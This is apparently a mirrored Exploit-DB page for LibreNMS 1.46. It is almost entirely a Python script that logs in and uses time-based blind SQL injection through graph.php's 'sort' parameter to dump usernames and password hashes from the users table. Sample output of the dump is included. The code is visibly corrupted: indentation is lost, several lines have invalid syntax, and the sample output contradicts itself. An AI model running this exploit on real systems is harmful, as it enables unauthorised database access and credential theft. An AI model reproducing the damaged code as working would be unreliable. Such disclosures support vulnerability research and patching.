LibreNMS 1.46 – MAC Accounting Graph Authenticated SQL Injection

  • 作者: Hodorsec
    日期: 2020-12-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49246/
  • # Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
    # Google Dork: Unknown
    # Date: 13-12-2020
    # Exploit Author: Hodorsec
    # Vendor Homepage: https://www.librenms.org
    # Software Link: https://github.com/librenms/librenms
    # Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
    # Version: 1.46
    # Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
    # CVE : N/A
    
    #!/usr/bin/python3
    
    # EXAMPLE:
    # $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
    # [*] Checking if authentication for page is required...
    # [*] Visiting page to retrieve initial token and cookies...
    # [*] Retrieving authenticated cookie...
    # [*] Printing number of rows in table...
    # 1
    # [*] Found 1 rows of data in table 'users'
    #
    # [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
    # [*] Extracting strings from row 1...
    # librenms
    # [*] Retrieved value 'librenKs' for column 'username' in row 1
    # [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
    # [*] Extracting strings from row 1...
    # $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
    # [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
    #
    # [+] Done!
    
    import requests
    import urllib3
    import os
    import sys
    import re
    from bs4 import BeautifulSoup
    
    # Optionally, use a proxy
    # proxy = "http://<user>:<pass>@<proxy>:<port>"
    proxy = ""
    os.environ['http_proxy'] = proxy
    os.environ['HTTP_PROXY'] = proxy
    os.environ['https_proxy'] = proxy
    os.environ['HTTPS_PROXY'] = proxy
    
    # Disable cert warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Set timeout
    timeout = 10
    
    # Injection prefix and suffix
    inj_prefix = "(select(sleep("
    inj_suffix = ")))))"
    
    # Decimal begin and end
    dec_begin = 48
    dec_end = 57
    
    # ASCII char begin and end
    ascii_begin = 32
    ascii_end = 126
    
    # Handle CTRL-C
    def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)
    
    # Custom headers
    def http_headers():
    headers = {
    'User-Agent': 'Mozilla',
    }
    return headers
    
    def check_auth(url,headers):
    print("[*] Checking if authentication for page is required...")
    target = url + "/graph.php"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    if "Unauthorized" in r.text:
    return True
    else:
    return False
    
    def get_initial_token_and_cookies(url,headers):
    print("[*] Visiting page to retrieve initial token and cookies...")
    target = url + "/login"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    soup = BeautifulSoup(r.text,'html.parser')
    for n in soup('input'):
    if n['name'] == "_token":
    token = n['value']
    return token,r.cookies
    else:
    return None,r.cookies
    
    def get_valid_cookie(url,headers,token,cookies,usern,passw):
    print("[*] Retrieving authenticated cookie...")
    appl_cookie = "laravel_session"
    post_data = {'_token':token,
    'username':usern,
    'password':passw,
    'submit':''}
    target = url + "/login"
    r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.text
    if "Overview | LibreNMS" in res:
    return r.cookies
    else:
    print("[!] No valid response from used session, exiting!\n")
    exit(-1)
    
    # Perform the SQLi call for injection
    def sqli(url,headers,cookies,inj_str,sleep):
    comment_inj_str = re.sub(" ","/**/",inj_str)
    inj_params = {'id':'1',
    'stat':'none',
    'type':'port_mac_acc_total',
    'sort':comment_inj_str,
    'debug':'1'}
    inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
    # Do GET request
    r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.elapsed.total_seconds()
    if res >= sleep:
    return True
    elif res < sleep:
    return False
    else:
    print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
    exit(-1)
    
    # Extract rows
    def get_rows(url,headers,cookies,table,sleep):
    rows = ""
    max_pos_rows = 4
    # Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
    for pos in range(1,max_pos_rows+1):
    # Test if current pos does have any valid value. If not, break
    direction = ">"
    inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
    if not sqli(url,headers,cookies,inj_str,sleep):
    break
    # Loop decimals
    direction = "="
    for num_rows in range(dec_begin,dec_end+1):
    row_char = chr(num_rows)
    inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
    if sqli(url,headers,cookies,inj_str,sleep):
    rows += row_char
    print(row_char,end='',flush=True)
    break
    if rows != "":
    print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")
    return int(rows)
    else:
    return False
    
    # Loop through positions and characters
    def get_data(url,headers,cookies,row,column,table,sleep):
    extracted = ""
    max_pos_len = 50
    # Loop through length of string
    # Not very efficient, should use a guessing algorithm
    print("[*] Extracting strings from row " + str(row+1) + "...")
    for pos in range(1,max_pos_len):
    # Test if current pos does have any valid value. If not, break
    direction = ">"
    inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix
    if not sqli(url,headers,cookies,inj_str,sleep):
    break
    # Loop through ASCII printable characters
    direction = "="
    for guess in range(ascii_begin,ascii_end+1):
    extracted_char = chr(guess)
    inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix
    if sqli(url,headers,cookies,inj_str,sleep):
    extracted += chr(guess)
    print(extracted_char,end='',flush=True)
    break
    return extracted
    
    # Main
    def main(argv):
    if len(sys.argv) == 5:
    usern = sys.argv[1]
    passw = sys.argv[2]
    url = sys.argv[3]
    sleep = int(sys.argv[4])
    else:
    print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")
    exit(0)
    
    # Random headers
    headers = http_headers()
    
    # Do stuff
    try:
    # Get a valid initial token and cookies
    token,cookies = get_initial_token_and_cookies(url,headers)
    
    # Check if authentication is required
    auth_required = check_auth(url,headers)
    
    if auth_required:
    # Get an authenticated session cookie using credentials
    valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)
    else:
    valid_cookies = cookies
    print("[+] Authentication not required, continue without authentication...")
    
    # Setting the correct vulnerable page
    url = url + "/graph.php"
    
    # The columns to retrieve
    columns = ['username','password']
    
    # The table to retrieve data from
    table = "users"
    
    # Getting rows
    print("[*] Printing number of rows in table...")
    rows = get_rows(url,headers,valid_cookies,table,sleep)
    if not rows:
    print("[!] Unable to retrieve rows, checks requests.\n")
    exit(-1)
    
    # Getting values for found rows in specified columns
    for column in columns:
    print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")
    for row in range(0,rows):
    # rowval_len = get_length(url,headers,row,column,table)
    retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)
    print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))
    # Done
    print("\n[+] Done!\n")
    
    except requests.exceptions.Timeout:
    print("[!] Timeout error\n")
    exit(-1)
    except requests.exceptions.TooManyRedirects:
    print("[!] Too many redirects\n")
    exit(-1)
    except requests.exceptions.ConnectionError:
    print("[!] Not able to connect to URL\n")
    exit(-1)
    except requests.exceptions.RequestException as e:
    print("[!] " + str(e))
    exit(-1)
    except requests.exceptions.HTTPError as e:
    print("[!] Failed with error code - " + str(e.code) + "\n")
    exit(-1)
    except KeyboardInterrupt:
    keyboard_interrupt()
    exit(-1)
    
    # If we were called as a program, go execute the main function.
    if __name__ == "__main__":
    main(sys.argv[1:])